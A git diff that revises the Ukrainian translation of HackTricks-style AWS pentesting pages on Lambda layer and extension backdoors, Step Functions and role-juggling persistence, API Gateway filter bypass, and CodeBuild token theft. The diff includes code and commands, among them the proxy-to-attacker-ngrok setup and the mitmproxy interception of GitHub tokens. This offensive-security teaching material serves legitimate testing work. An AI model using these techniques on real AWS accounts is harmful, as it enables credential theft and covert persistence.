a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 5c89d7251..503270e38 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -4,7 +4,7 @@ ## Розширення Lambda -Розширення Lambda покращують функції, інтегруючись з різними **інструментами моніторингу, спостереження, безпеки та управління**. Ці розширення, додані через [.zip архіви за допомогою шарів Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) або включені в [деплойменти контейнерних зображень](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), працюють у двох режимах: **внутрішні** та **зовнішні**. +Розширення Lambda покращують функції, інтегруючись з різними **інструментами моніторингу, спостереження, безпеки та управління**. Ці розширення, додані через [.zip архіви за допомогою шарів Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) або включені в [деплойменти контейнерних зображень](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), працюють у двох режимах: **внутрішньому** та **зовнішньому**. - **Внутрішні розширення** зливаються з процесом виконання, маніпулюючи його запуском за допомогою **змінних середовища, специфічних для мови** та **обгорткових скриптів**. Це налаштування застосовується до ряду середовищ виконання, включаючи **Java Correto 8 та 11, Node.js 10 та 12, і .NET Core 3.1**. - **Зовнішні розширення** працюють як окремі процеси, підтримуючи узгодженість роботи з життєвим циклом функції Lambda. Вони сумісні з різними середовищами виконання, такими як **Node.js 10 та 12, Python 3.7 та 3.8, Ruby 2.5 та 2.7, Java Corretto 8 та 11, .NET Core 3.1** та **кастомними середовищами виконання**. @@ -23,12 +23,12 @@

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-Змінна **`AWS_LAMBDA_RUNTIME_API`** вказує **IP** адресу та **номер порту** Rapid API для **дочірніх процесів виконання** та додаткових розширень. +Змінна **`AWS_LAMBDA_RUNTIME_API`** вказує **IP** адресу та **номер порту** Rapid API для **дочірніх процесів середовища виконання** та додаткових розширень. > [!WARNING] > Змінивши змінну середовища **`AWS_LAMBDA_RUNTIME_API`** на **`порт`**, до якого ми маємо доступ, можна перехопити всі дії в середовищі виконання Lambda (**людина посередині**). Це можливо, оскільки розширення працює з тими ж привілеями, що й Rapid Init, а ядро системи дозволяє **модифікацію пам'яті процесу**, що дозволяє змінювати номер порту. -Оскільки **розширення працюють перед будь-яким кодом середовища**, модифікація змінної середовища вплине на процес виконання (наприклад, Python, Java, Node, Ruby) під час його запуску. Крім того, **розширення, завантажені після** нашого, які покладаються на цю змінну, також будуть маршрутизуватися через наше розширення. Це налаштування може дозволити шкідливому ПЗ повністю обійти заходи безпеки або розширення журналювання безпосередньо в середовищі виконання. +Оскільки **розширення працюють перед будь-яким кодом середовища**, зміна змінної середовища вплине на процес виконання (наприклад, Python, Java, Node, Ruby) під час його запуску. Крім того, **розширення, завантажені після** нашого, які покладаються на цю змінну, також будуть маршрутизуватися через наше розширення. Це налаштування може дозволити шкідливому ПЗ повністю обійти заходи безпеки або розширення журналювання безпосередньо в середовищі виконання.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index 94488dab0..1bafa5998 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -4,11 +4,11 @@ ## Lambda Layers -Lambda layer - це архів .zip файл, який **може містити додатковий код** або інший контент. Шар може містити бібліотеки, [кастомний runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), дані або конфігураційні файли. +Lambda layer - це архів .zip, який **може містити додатковий код** або інший контент. Шар може містити бібліотеки, [кастомний runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), дані або конфігураційні файли. Можливо включити до **п'яти шарів на функцію**. Коли ви включаєте шар у функцію, **вміст витягується до каталогу `/opt`** в середовищі виконання. -За **замовчуванням**, **шари**, які ви створюєте, є **приватними** для вашого облікового запису AWS. Ви можете вибрати **поділитися** шаром з іншими обліковими записами або **зробити** шар **публічним**. Якщо ваші функції використовують шар, який опублікував інший обліковий запис, ваші функції можуть **продовжувати використовувати версію шару після його видалення або після відкликання вашого дозволу на доступ до шару**. Однак ви не можете створити нову функцію або оновити функції, використовуючи видалену версію шару. +За **замовчуванням** створені вами **шари** є **приватними** для вашого облікового запису AWS. Ви можете вибрати **поділитися** шаром з іншими обліковими записами або **зробити** шар **публічним**. Якщо ваші функції використовують шар, який опублікував інший обліковий запис, ваші функції можуть **продовжувати використовувати версію шару після його видалення або після відкликання вашого дозволу на доступ до шару**. Однак ви не можете створити нову функцію або оновити функції, використовуючи видалену версію шару. Функції, розгорнуті як контейнерне зображення, не використовують шари. Натомість ви упаковуєте свій улюблений runtime, бібліотеки та інші залежності в контейнерне зображення під час його створення. @@ -21,20 +21,20 @@ Lambda layer - це архів .zip файл, який **може містити Перевірте, як **друга** та третя **позиції** займаються каталогами, де **lambda layers** розпаковують свої файли: **`/opt/python/lib/python3.9/site-packages`** та **`/opt/python`** > [!CAUTION] -> Якщо зловмиснику вдасться **внедрити** використану **lambda layer** або **додати одну**, яка буде **виконувати довільний код, коли завантажується загальна бібліотека**, він зможе виконувати шкідливий код з кожним викликом lambda. +> Якщо зловмисник зміг **внедрити** використану **lambda layer** або **додати одну**, яка буде **виконувати довільний код, коли завантажується загальна бібліотека**, він зможе виконувати шкідливий код з кожним викликом lambda. Отже, вимоги такі: - **Перевірте бібліотеки**, які **завантажуються** кодом жертви - Створіть **проксі-бібліотеку з lambda layers**, яка буде **виконувати користувацький код** та **завантажувати оригінальну** бібліотеку. -### Попередньо завантажені бібліотеки +### Завантажені бібліотеки > [!WARNING] -> Коли я зловживав цією технікою, я зіткнувся з труднощами: деякі бібліотеки **вже завантажені** в середовищі виконання python, коли ваш код виконується. Я очікував знайти такі речі, як `os` або `sys`, але **навіть бібліотека `json` була завантажена**.\ +> Коли я зловживав цією технікою, я зіткнувся з труднощами: Деякі бібліотеки **вже завантажені** в середовищі виконання python, коли ваш код виконується. Я очікував знайти такі речі, як `os` або `sys`, але **навіть бібліотека `json` була завантажена**.\ > Щоб зловживати цією технікою збереження, код повинен **завантажити нову бібліотеку, яка не завантажена**, коли код виконується. -З таким кодом на python можливо отримати **список бібліотек, які попередньо завантажені** в середовищі виконання python в lambda: +З таким python-кодом можливо отримати **список бібліотек, які попередньо завантажені** в середовищі виконання python в lambda: ```python import sys @@ -44,15 +44,15 @@ return { 'body': str(sys.modules.keys()) } ``` -І це **список** (перевірте, що такі бібліотеки, як `os` або `json`, вже є) +І це **список** (переконайтеся, що такі бібліотеки, як `os` або `json`, вже є) ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` І це список **бібліотек**, які **lambda включає за замовчуванням**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) -### Задня дверка в Lambda Layer +### Задній доступ до Lambda Layer -У цьому прикладі припустимо, що цільовий код імпортує **`csv`**. Ми будемо **додавати задню дверку до імпорту бібліотеки `csv`**. +У цьому прикладі припустимо, що цільовий код імпортує **`csv`**. Ми будемо **додавати задній доступ до імпорту бібліотеки `csv`**. Для цього ми створимо директорію csv з файлом **`__init__.py`** в ній у шляху, який завантажується lambda: **`/opt/python/lib/python3.9/site-packages`**\ Тоді, коли lambda буде виконана і спробує завантажити **csv**, наш **файл `__init__.py` буде завантажений і виконаний**.\ @@ -85,7 +85,7 @@ sys.modules["csv"] = _csv ``` Тоді створіть zip з цим кодом у шляху **`python/lib/python3.9/site-packages/__init__.py`** і додайте його як шар lambda. -Ви можете знайти цей код за адресою [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) +Ви можете знайти цей код за [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) Інтегрований payload **надішле IAM креденціали на сервер ПЕРШИЙ РАЗ, коли його викликають, або ПІСЛЯ скидання контейнера lambda** (зміна коду або холодна lambda), але **інші техніки** такі як наступні також можуть бути інтегровані: @@ -98,9 +98,9 @@ sys.modules["csv"] = _csv Зверніть увагу, що можливо використовувати **шари lambda з зовнішніх облікових записів**. Більше того, lambda може використовувати шар з зовнішнього облікового запису, навіть якщо у неї немає дозволів.\ Також зверніть увагу, що **максимальна кількість шарів, які може мати lambda, становить 5**. -Отже, для покращення універсальності цієї техніки зловмисник може: +Отже, щоб покращити універсальність цієї техніки, зловмисник може: -- Встановити бекдор у існуючий шар користувача (нічого не є зовнішнім) +- Задній доступ до існуючого шару користувача (нічого не є зовнішнім) - **Створити** **шар** у **своєму обліковому записі**, надати **обліковому запису жертви доступ** до використання шару, **налаштувати** **шар** у Lambda жертви та **видалити дозвіл**. - **Lambda** все ще зможе **використовувати шар**, а **жертва не** матиме жодного простого способу **завантажити код шарів** (окрім отримання rev shell всередині lambda) - Жертва **не побачить зовнішні шари**, використані з **`aws lambda list-layers`** diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index ffb3ff652..d2dfc6e2a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -12,11 +12,11 @@ ### Завантаження SSH ключів інстансів та паролів до БД -Вони, ймовірно, не будуть змінені, тому просто їх наявність є хорошим варіантом для збереження доступу. +Вони, ймовірно, не будуть змінені, тому просто їх наявність є хорошим варіантом для збереження доступу ### Задні двері в інстансах -Зловмисник може отримати доступ до інстансів і встановити задні двері: +Зловмисник може отримати доступ до інстансів і встановити в них задні двері: - Використовуючи традиційний **rootkit**, наприклад - Додаючи новий **публічний SSH ключ** diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index 4b57503c6..0b2236ee1 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -16,7 +16,7 @@
-Отже, зловмисник може отримати цей ключ з метаданих і розшифрувати його за допомогою KMS (`aws kms decrypt`), щоб отримати ключ, використаний для шифрування інформації. Таким чином, зловмисник матиме ключ шифрування, і якщо цей ключ буде повторно використано для шифрування інших файлів, він зможе його використовувати. +Отже, зловмисник може отримати цей ключ з метаданих і розшифрувати його за допомогою KMS (`aws kms decrypt`), щоб отримати ключ, використаний для шифрування інформації. Таким чином, зловмисник отримає ключ шифрування, і якщо цей ключ повторно використовується для шифрування інших файлів, він зможе його використовувати. ### Using S3 ACLs diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 306020d87..787abb7cf 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -32,6 +32,6 @@ } ``` > [!NOTE] -> Ви навіть могли б **викликати Lambda в обліковому записі атакуючого щоразу, коли нове повідомлення** потрапляє в чергу (вам потрібно буде якось повторно помістити його). Для цього дотримуйтесь цих інструкцій: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Ви навіть могли б **запустити Lambda в обліковому записі атакуючого щоразу, коли нове повідомлення** додається в чергу (вам потрібно буде повторно додати його) якимось чином. Для цього дотримуйтесь цих інструкцій: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index fa6853959..71d277590 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -1,8 +1,8 @@ -# AWS - Step Functions Persistence +# AWS - Збереження функцій кроків {{#include ../../../banners/hacktricks-training.md}} -## Step Functions +## Функції кроків Для отримання додаткової інформації перегляньте: @@ -10,12 +10,12 @@ ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Backdooring функцій кроків +### Задня дверка функції кроків -Задніми дверима функцію кроків, щоб вона виконувала будь-який трюк з постійністю, тому що щоразу, коли її виконують, вона запускатиме ваші шкідливі кроки. +Задня дверка функції кроків, щоб вона виконувала будь-який трюк збереження, так що щоразу, коли вона виконується, вона запускатиме ваші шкідливі кроки. -### Задніми дверима псевдоніми +### Задні дверки псевдонімів -Якщо обліковий запис AWS використовує псевдоніми для виклику функцій кроків, буде можливим змінити псевдонім, щоб використовувати нову версію функції кроків із задніми дверима. +Якщо обліковий запис AWS використовує псевдоніми для виклику функцій кроків, буде можливим змінити псевдонім, щоб використовувати нову версію функції кроків з задньою дверкою. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index bbdab991d..1ddb89959 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -30,7 +30,7 @@ aws sts get-session-token \ [**Жонглювання ролями є визнаною функцією AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), часто використовується для підтримки прихованої стійкості. Це передбачає можливість **приймати роль, яка потім приймає іншу**, потенційно повертаючись до початкової ролі в **циклічний спосіб**. Кожного разу, коли роль приймається, поле терміну дії облікових даних оновлюється. Отже, якщо дві ролі налаштовані на взаємне прийняття одна одної, ця конфігурація дозволяє безперервне оновлення облікових даних. -Ви можете використовувати цей [**інструмент**](https://github.com/hotnops/AWSRoleJuggler/) для підтримки жонглювання ролями: +Ви можете використовувати цей [**інструмент**](https://github.com/hotnops/AWSRoleJuggler/), щоб підтримувати жонглювання ролями: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] @@ -40,7 +40,7 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> Зверніть увагу, що скрипт [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) з цього репозиторію Github не знаходить усі способи, якими може бути налаштований ланцюг ролей. +> Зверніть увагу, що скрипт [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) з цього репозиторію на Github не знаходить усі способи, якими може бути налаштований ланцюг ролей.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 135c09a80..9c2fb92b9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -19,7 +19,7 @@ Цю техніку було виявлено в [**цьому CTF звіті**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -Як зазначено в [**документації AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) в розділі `PassthroughBehavior`, за замовчуванням значення **`WHEN_NO_MATCH`**, при перевірці заголовка **Content-Type** запиту, передасть запит на задній план без трансформації. +Як зазначено в [**документації AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) в розділі `PassthroughBehavior`, за замовчуванням значення **`WHEN_NO_MATCH`**, при перевірці заголовка **Content-Type** запиту, передасть запит на бекенд без трансформації. Отже, в CTF API Gateway мав шаблон інтеграції, який **перешкоджав ексфільтрації прапора** у відповіді, коли запит надсилався з `Content-Type: application/json`: ```yaml @@ -28,7 +28,7 @@ application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyCondi ``` Однак, надсилання запиту з **`Content-type: text/json`** запобігло б цьому фільтру. -Нарешті, оскільки API Gateway дозволяв лише `Get` та `Options`, було можливим надіслати довільний запит до dynamoDB без жодних обмежень, надіславши POST-запит з запитом у тілі та використовуючи заголовок `X-HTTP-Method-Override: GET`: +Нарешті, оскільки API Gateway дозволяв лише `Get` та `Options`, було можливим надіслати довільний запит до dynamoDB без жодних обмежень, надіславши POST запит з запитом у тілі та використовуючи заголовок `X-HTTP-Method-Override: GET`: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` @@ -72,7 +72,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod **Потенційний вплив**: Несанкціонований доступ до кешованих даних, порушення або перехоплення API-трафіку. > [!NOTE] -> Потрібно тестування +> Потрібне тестування ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` @@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Потенційний вплив**: Послаблення безпеки API, що потенційно дозволяє несанкціонований доступ або викриває чутливу інформацію. +**Потенційний вплив**: Послаблення безпеки API, що може дозволити несанкціонований доступ або розкриття чутливої інформації. > [!NOTE] > Потрібно тестування diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 49cab297e..3bf2bd1ce 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -12,7 +12,7 @@ ### Man-in-the-Middle -Цей [**блог пост**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, де **Lambda** може бути додана (або змінена, якщо вже використовується) у **зв'язку через CloudFront** з метою **викрадення** інформації користувача (такої як **cookie** сесії) та **модифікації** **відповіді** (впровадження шкідливого JS скрипту). +Цей [**блог пост**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, де **Lambda** може бути додана (або змінена, якщо вже використовується) у **зв'язку через CloudFront** з метою **викрадення** інформації користувача (такої як **cookie** сесії) та **модифікації** **відповіді** (впровадження шкідливого JS скрипта). #### сценарій 1: MitM, де CloudFront налаштовано для доступу до деякого HTML з бакету @@ -26,6 +26,6 @@ - **Змініть код** функції lambda, щоб вкрасти чутливу інформацію -Ви можете перевірити [**код tf для відтворення цих сценаріїв тут**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Ви можете перевірити [**tf код для відтворення цих сценаріїв тут**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 2c21bec89..477cf671e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -12,8 +12,8 @@ ### Перевірка секретів -Якщо облікові дані були налаштовані в Codebuild для підключення до Github, Gitlab або Bitbucket у формі особистих токенів, паролів або OAuth токенів доступу, ці **облікові дані будуть зберігатися як секрети в менеджері секретів**.\ -Отже, якщо у вас є доступ до читання менеджера секретів, ви зможете отримати ці секрети та перейти до підключеної платформи. +Якщо облікові дані були налаштовані в Codebuild для підключення до Github, Gitlab або Bitbucket у формі особистих токенів, паролів або доступу через OAuth, ці **облікові дані будуть зберігатися як секрети в менеджері секретів**.\ +Отже, якщо у вас є доступ для читання менеджера секретів, ви зможете отримати ці секрети та перейти до підключеної платформи. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -21,11 +21,11 @@ ### Зловживання доступом до репозиторію CodeBuild -Щоб налаштувати **CodeBuild**, йому потрібен **доступ до репозиторію коду**, який він буде використовувати. Кілька платформ можуть хостити цей код: +Щоб налаштувати **CodeBuild**, йому буде потрібен **доступ до репозиторію коду**, який він буде використовувати. Кілька платформ можуть хостити цей код:
-**Проект CodeBuild повинен мати доступ** до налаштованого постачальника джерел, або через **IAM роль**, або з токеном github/bitbucket **або OAuth доступом**. +**Проект CodeBuild повинен мати доступ** до налаштованого постачальника джерел, або через **IAM роль**, або з токеном github/bitbucket **або доступом через OAuth**. Зловмисник з **підвищеними правами в CodeBuild** може зловживати цим налаштованим доступом, щоб витікати код налаштованого репозиторію та інших, до яких мають доступ встановлені облікові дані.\ Для цього зловмиснику потрібно лише **змінити URL репозиторію на кожен репозиторій, до якого мають доступ налаштовані облікові дані** (зверніть увагу, що веб-сайт aws перераховує всі з них для вас): @@ -35,12 +35,12 @@ І **змінити команди Buildspec для ексфільтрації кожного репозиторію**. > [!WARNING] -> Однак, це **завдання є повторюваним і нудним**, і якщо токен github був налаштований з **права на запис**, зловмисник **не зможе (зловживати) цими правами**, оскільки не має доступу до токена.\ +> Однак це **завдання є повторюваним і нудним**, і якщо токен github був налаштований з **правами на запис**, зловмисник **не зможе (зловживати) цими правами**, оскільки не має доступу до токена.\ > Або має? Перевірте наступний розділ -### Витік токенів доступу з AWS CodeBuild +### Витікання токенів доступу з AWS CodeBuild -Ви можете витікати доступ, наданий у CodeBuild до платформ, таких як Github. Перевірте, чи був наданий доступ до зовнішніх платформ за допомогою: +Ви можете витікати доступ, наданий у CodeBuild, до платформ, таких як Github. Перевірте, чи був наданий доступ до зовнішніх платформ: ```bash aws codebuild list-source-credentials ``` @@ -58,7 +58,7 @@ aws codebuild delete-project --name ### `codebuild:TagResource` , `codebuild:UntagResource` -Зловмисник може додавати, змінювати або видаляти теги з ресурсів CodeBuild, порушуючи розподіл витрат вашої організації, відстеження ресурсів та політики контролю доступу на основі тегів. +Зловмисник може додавати, змінювати або видаляти теги з ресурсів CodeBuild, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 1d036200e..e70495c99 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Відновлення токенів, налаштованих для Github/Bitbucket +## Відновлення токенів, налаштованих у Github/Bitbucket Спочатку перевірте, чи є налаштовані облікові дані джерела, які ви могли б витікати: ```bash @@ -10,17 +10,17 @@ aws codebuild list-source-credentials ``` ### Via Docker Image -Якщо ви виявите, що автентифікація, наприклад, до Github налаштована в обліковому записі, ви можете **експортувати** цей **доступ** (**GH token або OAuth token**), змусивши Codebuild **використовувати конкретний docker image** для виконання збірки проекту. +Якщо ви виявите, що автентифікація, наприклад, до Github налаштована в обліковому записі, ви можете **екстрактувати** цей **доступ** (**GH token або OAuth token**), змусивши Codebuild **використовувати конкретний docker image** для виконання збірки проекту. Для цього ви можете **створити новий проект Codebuild** або змінити **середовище** існуючого, щоб налаштувати **Docker image**. Docker image, який ви можете використовувати, це [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який налаштує **змінні середовища `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** та **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**. 1. **Створіть та завантажте свій власний Docker MitM image** -- Слідуйте інструкціям репозиторію, щоб налаштувати IP-адресу проксі та налаштувати свій SSL сертифікат і **збудувати docker image**. -- **НЕ НАЛАШТУЙТЕ `http_proxy`**, щоб не перехоплювати запити до кінцевої точки метаданих. -- Ви можете використовувати **`ngrok`**, наприклад, `ngrok tcp 4444`, щоб налаштувати проксі на вашому хості. -- Як тільки ви збудуєте Docker image, **завантажте його до публічного репозиторію** (Dockerhub, ECR...) +- Дотримуйтесь інструкцій репозиторію, щоб налаштувати IP-адресу проксі та налаштувати свій SSL сертифікат і **збудувати docker image**. +- **НЕ НАЛАШТОВУЙТЕ `http_proxy`**, щоб не перехоплювати запити до кінцевої точки метаданих. +- Ви можете використовувати **`ngrok`** як `ngrok tcp 4444`, щоб налаштувати проксі на вашому хості. +- Після того, як ви збудували Docker image, **завантажте його в публічний репозиторій** (Dockerhub, ECR...) 2. **Налаштуйте середовище** - Створіть **новий проект Codebuild** або **змініть** середовище існуючого. - Налаштуйте проект на використання **раніше згенерованого Docker image**. @@ -34,7 +34,7 @@ Docker image, який ви можете використовувати, це [h mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> Використовувалася **версія mitmproxy 9.0.1**, повідомлялося, що з версією 10 це може не працювати. +> **Використовувалася версія mitmproxy 9.0.1**, повідомлялося, що з версією 10 це може не спрацювати. 4. **Запустіть збірку та захопіть облікові дані** @@ -128,7 +128,7 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Нарешті, натисніть на **Build the project**, **облікові дані** будуть **надіслані у відкритому вигляді** (base64) на порт mitm: +- Нарешті, натисніть на **Build the project**, **облікові дані** будуть **надіслані у відкритому тексті** (base64) на порт mitm:
@@ -138,7 +138,7 @@ mitm.run() Зловмисник з **підвищеними правами в CodeBuild може витікати токен Github/Bitbucket**, налаштований або, якщо права були налаштовані через OAuth, **тимчасовий OAuth токен, використаний для доступу до коду**. -- Зловмисник може додати змінні середовища **http_proxy** та **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад, `http://5.tcp.eu.ngrok.io:14972`). +- Зловмисник міг би додати змінні середовища **http_proxy** та **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад, `http://5.tcp.eu.ngrok.io:14972`).
